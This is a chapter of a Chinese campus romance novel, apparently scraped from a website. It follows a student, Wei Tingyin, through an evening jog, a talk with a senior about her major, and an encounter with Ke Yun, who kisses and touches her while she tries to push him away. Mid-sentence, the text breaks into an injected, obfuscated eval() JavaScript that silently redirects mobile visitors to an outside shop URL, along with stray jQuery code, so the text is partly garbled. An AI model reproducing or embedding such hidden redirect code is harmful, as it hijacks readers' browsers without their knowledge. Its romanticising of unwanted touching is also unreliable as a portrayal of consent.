魏听因关掉电脑,拿起手机和耳机,趁宋湘还没从浴室出来,跟孙一婷打了个招呼后便去操场跑步了。
由于每年体侧都得跑八百米,所以晚上夜跑的人不算少,还有一些小情侣绕着最外围的跑道散步,所以操场看起来还挺热闹。
魏听因戴上耳机,随便播放了一首歌,然后便沿着内圈跑道匀速跑了起来。
其实她还挺喜欢跑步的,那些苦闷的、繁杂的情绪在跑道上似乎可以变得越来越稀薄,等她将自己累得无心去思考的时候,仿佛就能短暂地把迫切想要弄清原委的心情抛之脑后。
而那些让她想不明白的、不知道该怎么解决的棘手问题只能这样慢慢地拖下去,等事到临头再听取命运的判决。
她无能为力的事情实在太多了,所做出的努力也一次又一次被打上“无效”的标签。
既然如此,不如不想,不如放弃。
“听因?”一道熟悉的声音打破了她略带自嘲的沉思。
魏听因停了下来,从跑道上离开,发现陆持空正站在自动贩卖机旁边对她笑。
“真是你啊。”陆持空又买了一瓶矿泉水递给她,“我刚刚看到背影像你,就试探性喊了一下,没想到这么巧。”
魏听因接过水:“谢谢学长。”
“都认识这么久了,还跟我这么客气?”陆持空朝外圈跑道扬了扬下巴,“我看你也跑好几圈了,一起走走吧。”
魏听因点了点头,视线落在了地面的重重树影上。
“怎么了?看你情绪不怎么好。”陆持空问道,“哦,上次被流浪狗咬出的伤怎么样?”
魏听因面不改色地说道:“没事,没咬出血。”
“校外小公园那块的猫猫狗狗的确多,下次得注意一下,这些流浪猫、流浪狗性子都比较野,学校里有专门的社团去喂,一个人的时候还是别上前了。”陆持空忍不住多提醒了一句。
“好。”魏听因心不在焉地攥紧矿泉水瓶,“下次不会去喂了。”
陆持空忽然伸手摘下了落在她头发上的一片树叶,温声道:“既然不是因为被咬伤的事,那是有什么别的烦恼要来跑步排遣?”
不等她狡辩,陆持空便道:“我可是每天晚上都来跑步,之前可没遇见过你。”
魏听因抿了下唇,低声道:“我……只是感觉好像不是很喜欢目前这个专业,当时报志愿的时候听家里亲戚说文科生选商科好找工作,但是我发现自己对上课学的这些东西都不是很感兴趣。”
“那你大一的绩点还能排专业前三?”陆持空调侃了一句,随后正色道,“大学课堂里学的都是基础性知识,所以难免让人觉得枯燥无用,而且像我们这种家庭,很难供你一直读书去做学术研究,而学校和专业又是进入职场的敲门砖……”
魏听因点头道:“我知道的,学长,所以只是偶尔想一想,没想过转专业。”
大一时被她打印出来的转专业申请表最终也没提交到教务处,如今在书架最上层沾满了灰。
“你心里清楚就好。”看她闷头走路的乖巧模样,陆持空下意识想伸手摸摸她的脑袋,回过神后忙收回手,不自然地移开视线,“何况就算是选了喜欢的专业,可能等你真正学起来的时候也会大失所望。毕竟很多时候,你对一个事物的喜欢都来自于你的遐想而非事实。”
如果真的只是因为遐想而喜欢就好了,那种虚浮的泡沫一戳就破,反而不会让人念念不忘、难以割舍。
魏听因抿了抿唇。
“对了,我明天和林臻他们一起去雁归山踩点,学校要求进行徒步活动前得对参与成员进行正规培训,所以我们打算把活动时间挪到下下周,你有空一起参加吗?”陆持空面色和煦地偏头看着她。
魏听因所在的宣传部主要负责宣传、报名等环节,线下的活动一般是社长、副社长与组织部负责,加上她周末经常有勤工俭学和家教等各种事,所以除了第一次户外徒步团建,她后面都没再参与过社团组织的活动。
下下周,调一调时间倒也不是不能去。
见她还有犹豫,陆持空又补充了一句:“活动已经安排了专门的负责人,到时候你什么也不用管,就当是过去散心的。”
“说不定出去走走,心情就豁然开朗了呢?”
话都说到这个份上了,魏听因也不好再推脱:“好,那我明天也填一下报名表,方便组织部进行分组。”
两人说着话,不知不觉就走了两圈,再次路过了操场旁边的室内篮球场。
几个刚打完球的男生一起从球场里走出来,门口的路灯将他们的影子拉得很长,直接蜿蜒到了魏听因脚下。
柯蕴穿着高领无袖的健身背心,似乎是顺便在里面洗了澡,头发还有点湿润,发尾不时有水珠滴落,一滴一滴地没入他轮廓清晰、血脉贲张的手臂肌肉。
魏听因淡淡瞥了他一眼,想加快脚步远离他们。
“哎,持空。”眼尖的范临渊一眼就看见了他们,笑着打招呼,“明儿打羽毛球去不去?”
“明天有事,下次吧。”陆持空跟范临渊算是半个球友,关系还不错,便停下脚步跟他们寒暄了几句。
见陆持空被绊住,魏听因也不好抛下他自己走,只得无声叹了口气,等在一旁,低头踩地上的影子。
“这不是我们院的学妹嘛。”站在柯蕴旁边的男生叫陆堂,也是他们的发小,嘴上向来没个把门儿的,一看见魏听因便促狭地对陆持空笑道,“怎么你们一个两个的都惦记我们院的妹妹啊,我记得你们班不也有十朵金花嘛。”
魏听因不习惯被人打趣,又被那一道一直盯着她的视线烫得脸颊发烫,忍不住抬头看了他们一眼。
柯蕴正在百无聊赖地转手上的篮球,手背上的青筋在路灯下微微凸起,与他冷漠的神态倒不怎么相配。
“别瞎说,我们是碰巧遇到的。”陆持空往前一步,将魏听因挡在了身后,“没什么事我们就先走了。”
范临渊踹了陆堂一脚,成功让他闭上了嘴,然后对二人道:“行,咱们改日再约。”
魏听因松了口气,刚想离开便听到了柯蕴的声音。
“你们先回吧,我东西落篮球场的浴室了,回去找一下。”
他的视线仍旧放在她身上,有如实质的目光仿佛要将她层层
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546024|204149||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
裹缠起来。
“你别放在心上,他们平日里说话喜欢开玩笑。”二人又一起走了半圈,陆持空不禁解释了一句。
“没事。”魏听因原本淡然无波的心绪再度被搅起风浪,攥紧了手指,停下脚步对陆持空道,“忽然想起来我室友要让我帮她们借一□□育器材,学长你先走吧,我去器材室登记一下。”
陆持空点点头:“好,那你回去的路上注意安全,别走林子里的小路。”
魏听因“嗯”了一声,转身往回走。
体育器材室就在室内篮球场的旁边,眼下时间不早了,篮球场也闭馆熄了灯,这边又没有路灯,唯有几树金桂花香四溢。
魏听因站在金桂树下仰头看了一眼,弦月在层层树枝间显得格外有韵味。
“这就是你之前说的那个学长?”一直等她的柯蕴抱臂倚在旁边的墙上,眼尾微微下压,看起来颇为冷淡。
魏听因回过头看他,强压下几乎要脱口而出的质问,语气平静地说道:“嗯,讨论了一下社团活动。”
“白天不能讨论吗?线上不能讨论吗?”柯蕴一步一步走到她身边,垂眸盯着她看,“非要大晚上来这种黑灯瞎火的地方讨论?”
操场一周都有路灯,远谈不上什么“黑灯瞎火”,反而他们现在所处的这个角落,因为有几棵桂花树掩映,附近也没设路灯,倒是更贴合这个形容。
“我们是在操场上偶遇的。”魏听因一点都不想跟他吵架,以他们这种关系,吵架反而显得可笑,便心平气和地解释了一句。
柯蕴笑了一声,面无表情地说道:“哦?这么巧?”
魏听因实在不想理会他的阴阳怪气,觉得他们现在也没什么多说的必要,转身就想离开。
“小心,有蛇!”
学校树林里的确有蛇出没过,而且这里漆黑一片,魏听因完全不疑有他,吓得往后连退几步,不慎缩回了他怀里。
柯蕴将她一把抱了起来,偏头亲她的侧颈,哑声道:“别怕,骗你的。”
魏听因伸手就要推他,却被他抱得更紧,正巧旁边有两个女生经过,她就算再生气也不敢有什么动作,只能静静任他抱着。
他的嘴和手都不老实,不仅钻进衣摆摸她的腰,还含住了她通红发烫的耳垂,用舌尖描摹她耳朵的轮廓。
“到底什么时候才能谈上帅哥啊?”那两个女生似乎是在散步,走到附近的长椅旁便坐下来休息,嘴上却在继续她们刚刚的话题。
“别提了,我看隔壁的帅哥都比我们学校多。”
“也不能这么说,隔壁可没有柯蕴这种极品。”
“你都说是极品了,轮也轮不到我们啊。”
“哎你看到他最近很火的那张照片了吗?小篮球场那张。”
“我天,已经舔屏好几天了好吧,不过你别说,就这手指、这喉结……那方面能力……”
“咳咳,少儿不宜啊!走走走,回去再说。”
等二人的脚步声逐渐消失,柯蕴才大发慈悲放过她的耳垂,在她耳边轻笑了一声。
“什么照片?你看过吗?”他捏了捏她的腰,挑眉问道。